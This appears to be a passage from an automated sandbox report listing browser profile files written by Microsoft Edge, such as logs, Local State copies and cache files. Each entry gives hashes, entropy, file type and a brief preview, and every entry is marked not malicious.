Size (bytes):	324
Entropy (8bit):	5.225636124628169
Encrypted:	false
SSDEEP:	6:H2LsMM+q2P923oH+TcwtfrK+IFUt8Y2QhZmw+Y2Q0MVkwO923oH+TcwtfrUeLJ:SsMM+v4Yeb23FUt8+/+BMV5LYeb3J
MD5:	C0DB7822B296969A63E8B3BF65BA6B5A
SHA1:	F4778F216D25D08E710772D412762D5BDC8DD9DE
SHA-256:	794F21EF2757C53C8917DD63F2E8D8086E340099ABCAFF551DC795DC013EA374
SHA-512:	89ED2F7430C211B067457B9DD43FF90FDF9C3065E01824390AB1298A4738A38165BD154E0E335AB238269B1BA67C9439CA93CB606042BE26F2E802E64C8B7016
Malicious:	false
Preview:	2024/11/09-16:09:34.179 1d8c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/MANIFEST-000001.2024/11/09-16:09:34.180 1d8c Recovering log #3.2024/11/09-16:09:34.180 1d8c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.225636124628169
Encrypted:	false
SSDEEP:	6:H2LsMM+q2P923oH+TcwtfrK+IFUt8Y2QhZmw+Y2Q0MVkwO923oH+TcwtfrUeLJ:SsMM+v4Yeb23FUt8+/+BMV5LYeb3J
MD5:	C0DB7822B296969A63E8B3BF65BA6B5A
SHA1:	F4778F216D25D08E710772D412762D5BDC8DD9DE
SHA-256:	794F21EF2757C53C8917DD63F2E8D8086E340099ABCAFF551DC795DC013EA374
SHA-512:	89ED2F7430C211B067457B9DD43FF90FDF9C3065E01824390AB1298A4738A38165BD154E0E335AB238269B1BA67C9439CA93CB606042BE26F2E802E64C8B7016
Malicious:	false
Preview:	2024/11/09-16:09:34.179 1d8c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/MANIFEST-000001.2024/11/09-16:09:34.180 1d8c Recovering log #3.2024/11/09-16:09:34.180 1d8c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	787
Entropy (8bit):	4.059252238767438
Encrypted:	false
SSDEEP:	12:G0nYUtTNop//z3p/Uz0RuWlJhC+lvBavRtin01zvZDEtlkyBrgxvB1ys:G0nYUtypD3RUovhC+lvBOL+t3IvB8s
MD5:	D8D8899761F621B63AD5ED6DF46D22FE
SHA1:	23E6A39058AB3C1DEADC0AF2E0FFD0D84BB7F1BE
SHA-256:	A5E0A78EE981FB767509F26021E1FA3C506F4E86860946CAC1DC4107EB3B3813
SHA-512:	4F89F556138C0CF24D3D890717EB82067C5269063C84229E93F203A22028782902FA48FB0154F53E06339F2FDBE35A985CE728235EA429D8D157090D25F15A4E
Malicious:	false
Preview:	.h.6.................__global... .t...................__global... .9..b.................33_..........................33_........v.................21_.....vuNX.................21_.....<...................20_.....,.1..................19_.....QL.s.................18_.....<.J\|.................37_...... .A.................38_..........................39_........].................20_.....Owa..................20_.....`..N.................19_.....D8.X.................18_......`...................37_..........................38_......\e..................39_.....dz.\|.................9_.....'\c..................9_.......f-.................__global... .\|.&R.................__global... ./....................__global... ..T...................__global... ...G..................__global... .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	342
Entropy (8bit):	5.195959911674183
Encrypted:	false
SSDEEP:	6:H2LWN9+q2P923oH+TcwtfrzAdIFUt8Y2QJZmw+Y2Z39VkwO923oH+TcwtfrzILJ:SW3+v4Yeb9FUt8Q/+JV5LYeb2J
MD5:	408626B2B6EEEB73594746C6494938A0
SHA1:	D6392CC8E1D1132C2A0968DBB80D5E414C5CF92D
SHA-256:	2FEC579B79F79D11FF04B6CDD8F4ED7913A672DB65DB5A65A7A5418DFA5E7DF4
SHA-512:	A2A97CE610589BB1CF55E8396B052C5552293A75CD2C0A32D9E080304E4E87BEB3336345EB6B2D0019772E096850B37C1121125639B9F9E705F60675D866DB39
Malicious:	false
Preview:	2024/11/09-16:09:34.179 1d2c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/MANIFEST-000001.2024/11/09-16:09:34.171 1d2c Recovering log #3.2024/11/09-16:09:34.172 1d2c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	342
Entropy (8bit):	5.195959911674183
Encrypted:	false
SSDEEP:	6:H2LWN9+q2P923oH+TcwtfrzAdIFUt8Y2QJZmw+Y2Z39VkwO923oH+TcwtfrzILJ:SW3+v4Yeb9FUt8Q/+JV5LYeb2J
MD5:	408626B2B6EEEB73594746C6494938A0
SHA1:	D6392CC8E1D1132C2A0968DBB80D5E414C5CF92D
SHA-256:	2FEC579B79F79D11FF04B6CDD8F4ED7913A672DB65DB5A65A7A5418DFA5E7DF4
SHA-512:	A2A97CE610589BB1CF55E8396B052C5552293A75CD2C0A32D9E080304E4E87BEB3336345EB6B2D0019772E096850B37C1121125639B9F9E705F60675D866DB39
Malicious:	false
Preview:	2024/11/09-16:09:34.179 1d2c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/MANIFEST-000001.2024/11/09-16:09:34.171 1d2c Recovering log #3.2024/11/09-16:09:34.172 1d2c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Browser

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	120
Entropy (8bit):	3.32524464792714
Encrypted:	false
SSDEEP:	3:tbloIlrJFlXnpQoWcNylRjlgbYnPdJiG6R7lZAUAl:tbdlrYoWcV0n1IGi7kBl
MD5:	A397E5983D4A1619E36143B4D804B870
SHA1:	AA135A8CC2469CFD1EF2D7955F027D95BE5DFBD4
SHA-256:	9C70F766D3B84FC2BB298EFA37CC9191F28BEC336329CC11468CFADBC3B137F4
SHA-512:	4159EA654152D2810C95648694DD71957C84EA825FCCA87B36F7E3282A72B30EF741805C610C5FA847CA186E34BDE9C289AAA7B6931C5B257F1D11255CD2A816
Malicious:	false
Preview:	C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.).\.M.i.c.r.o.s.o.f.t.\.E.d.g.e.\.A.p.p.l.i.c.a.t.i.o.n.\.m.s.e.d.g.e...e.x.e.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Version

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	13
Entropy (8bit):	2.7192945256669794
Encrypted:	false
SSDEEP:	3:NYLFRQI:ap2I
MD5:	BF16C04B916ACE92DB941EBB1AF3CB18
SHA1:	FA8DAEAE881F91F61EE0EE21BE5156255429AA8A
SHA-256:	7FC23C9028A316EC0AC25B09B5B0D61A1D21E58DFCF84C2A5F5B529129729098
SHA-512:	F0B7DF5517596B38D57C57B5777E008D6229AB5B1841BBE74602C77EEA2252BF644B8650C7642BD466213F62E15CC7AB5A95B28E26D3907260ED1B96A74B65FB
Malicious:	false
Preview:	117.0.2045.47

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.0907492042055615
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBM0wuF9hDO6vP6O+1tbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEa60tbz8hu3VlXr4CRo1
MD5:	BE9A50C5D1C646106B63D89140BCC315
SHA1:	6773BC7C5446A36DC89F11C43322FAC230F81FA7
SHA-256:	B7B3710A1FCBF65980203481DEA6FAD7238ED8FA8540CACCA6A6CF6CA9E9EA7C
SHA-512:	0C100D379854F4DD20845255CD52A8EB23A9ECDEC877C9280F19438B8946B473FD25F82E0B6CA60C387BB670744172C2B5B1538B3F1DEFADA9815036F38662A5
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF38444.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.0907492042055615
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBM0wuF9hDO6vP6O+1tbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEa60tbz8hu3VlXr4CRo1
MD5:	BE9A50C5D1C646106B63D89140BCC315
SHA1:	6773BC7C5446A36DC89F11C43322FAC230F81FA7
SHA-256:	B7B3710A1FCBF65980203481DEA6FAD7238ED8FA8540CACCA6A6CF6CA9E9EA7C
SHA-512:	0C100D379854F4DD20845255CD52A8EB23A9ECDEC877C9280F19438B8946B473FD25F82E0B6CA60C387BB670744172C2B5B1538B3F1DEFADA9815036F38662A5
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF38619.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.0907492042055615
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBM0wuF9hDO6vP6O+1tbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEa60tbz8hu3VlXr4CRo1
MD5:	BE9A50C5D1C646106B63D89140BCC315
SHA1:	6773BC7C5446A36DC89F11C43322FAC230F81FA7
SHA-256:	B7B3710A1FCBF65980203481DEA6FAD7238ED8FA8540CACCA6A6CF6CA9E9EA7C
SHA-512:	0C100D379854F4DD20845255CD52A8EB23A9ECDEC877C9280F19438B8946B473FD25F82E0B6CA60C387BB670744172C2B5B1538B3F1DEFADA9815036F38662A5
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3aceb.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.0907492042055615
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBM0wuF9hDO6vP6O+1tbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEa60tbz8hu3VlXr4CRo1
MD5:	BE9A50C5D1C646106B63D89140BCC315
SHA1:	6773BC7C5446A36DC89F11C43322FAC230F81FA7
SHA-256:	B7B3710A1FCBF65980203481DEA6FAD7238ED8FA8540CACCA6A6CF6CA9E9EA7C
SHA-512:	0C100D379854F4DD20845255CD52A8EB23A9ECDEC877C9280F19438B8946B473FD25F82E0B6CA60C387BB670744172C2B5B1538B3F1DEFADA9815036F38662A5
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3e1a7.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.0907492042055615
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBM0wuF9hDO6vP6O+1tbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEa60tbz8hu3VlXr4CRo1
MD5:	BE9A50C5D1C646106B63D89140BCC315
SHA1:	6773BC7C5446A36DC89F11C43322FAC230F81FA7
SHA-256:	B7B3710A1FCBF65980203481DEA6FAD7238ED8FA8540CACCA6A6CF6CA9E9EA7C
SHA-512:	0C100D379854F4DD20845255CD52A8EB23A9ECDEC877C9280F19438B8946B473FD25F82E0B6CA60C387BB670744172C2B5B1538B3F1DEFADA9815036F38662A5
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF496dd.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.0907492042055615
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBM0wuF9hDO6vP6O+1tbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEa60tbz8hu3VlXr4CRo1
MD5:	BE9A50C5D1C646106B63D89140BCC315
SHA1:	6773BC7C5446A36DC89F11C43322FAC230F81FA7
SHA-256:	B7B3710A1FCBF65980203481DEA6FAD7238ED8FA8540CACCA6A6CF6CA9E9EA7C
SHA-512:	0C100D379854F4DD20845255CD52A8EB23A9ECDEC877C9280F19438B8946B473FD25F82E0B6CA60C387BB670744172C2B5B1538B3F1DEFADA9815036F38662A5
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF4f2c8.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.0907492042055615
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBM0wuF9hDO6vP6O+1tbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEa60tbz8hu3VlXr4CRo1
MD5:	BE9A50C5D1C646106B63D89140BCC315
SHA1:	6773BC7C5446A36DC89F11C43322FAC230F81FA7
SHA-256:	B7B3710A1FCBF65980203481DEA6FAD7238ED8FA8540CACCA6A6CF6CA9E9EA7C
SHA-512:	0C100D379854F4DD20845255CD52A8EB23A9ECDEC877C9280F19438B8946B473FD25F82E0B6CA60C387BB670744172C2B5B1538B3F1DEFADA9815036F38662A5
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Nurturing\campaign_history

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6773696719930975
Encrypted:	false
SSDEEP:	12:TLpUAFUxOUDaabZXiDiIF8izX4fhhdWeci2oesJaYi3islRud6zcQAJmdngzQdoO:TLiOUOq0afDdWec9sJhOs3fsuZ7J5fc
MD5:	6FFCCB198DC6B17E165460E6E246B03C
SHA1:	014A46B0E6E84089E1C20FA232F54CA737D5F023
SHA-256:	D1B2EC8C9906C3418837FFB8E116AA59C026DE2D67B2AFDA956F14D0DC3851AF
SHA-512:	846AE3D0A49A14BF82203A0FEDAD6E794F7E68C22A40EE0E014FEA99DFC676FAE4AFEB2C56F324E4361E83A35458C63E2ABAA7B28B6D23B20FA29EF47CBE87B3
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\ShaderCache\data_0

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	FoxPro FPT, blocks size 512, next free block index 3284796609, field type 0
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.01057775872642915
Encrypted:	false
SSDEEP:	3:MsFl:/F
MD5:	CF89D16BB9107C631DAABF0C0EE58EFB
SHA1:	3AE5D3A7CF1F94A56E42F9A58D90A0B9616AE74B
SHA-256:	D6A5FE39CD672781B256E0E3102F7022635F1D4BB7CFCC90A80FFFE4D0F3877E
SHA-512:	8CB5B059C8105EB91E74A7D5952437AAA1ADA89763C5843E7B0F1B93D9EBE15ED40F287C652229291FAC02D712CF7FF5ECECEF276BA0D7DDC35558A3EC3F77B0
Malicious:	false
Preview:	............$...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\ShaderCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	8.280239615765425E-4
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2:/M/xT02
MD5:	D0D388F3865D0523E451D6BA0BE34CC4
SHA1:	8571C6A52AACC2747C048E3419E5657B74612995
SHA-256:	902F30C1FB0597D0734BC34B979EC5D131F8F39A4B71B338083821216EC8D61B
SHA-512:	376011D00DE659EB6082A74E862CFAC97A9BB508E0B740761505142E2D24EC1C30AA61EFBC1C0DD08FF0F34734444DE7F77DD90A6CA42B48A4C7FAD5F0BDDD17
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\ShaderCache\data_2

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.011852361981932763
Encrypted:	false
SSDEEP:	3:MsHlDll:/H
MD5:	0962291D6D367570BEE5454721C17E11
SHA1:	59D10A893EF321A706A9255176761366115BEDCB
SHA-256:	EC1702806F4CC7C42A82FC2B38E89835FDE7C64BB32060E0823C9077CA92EFB7
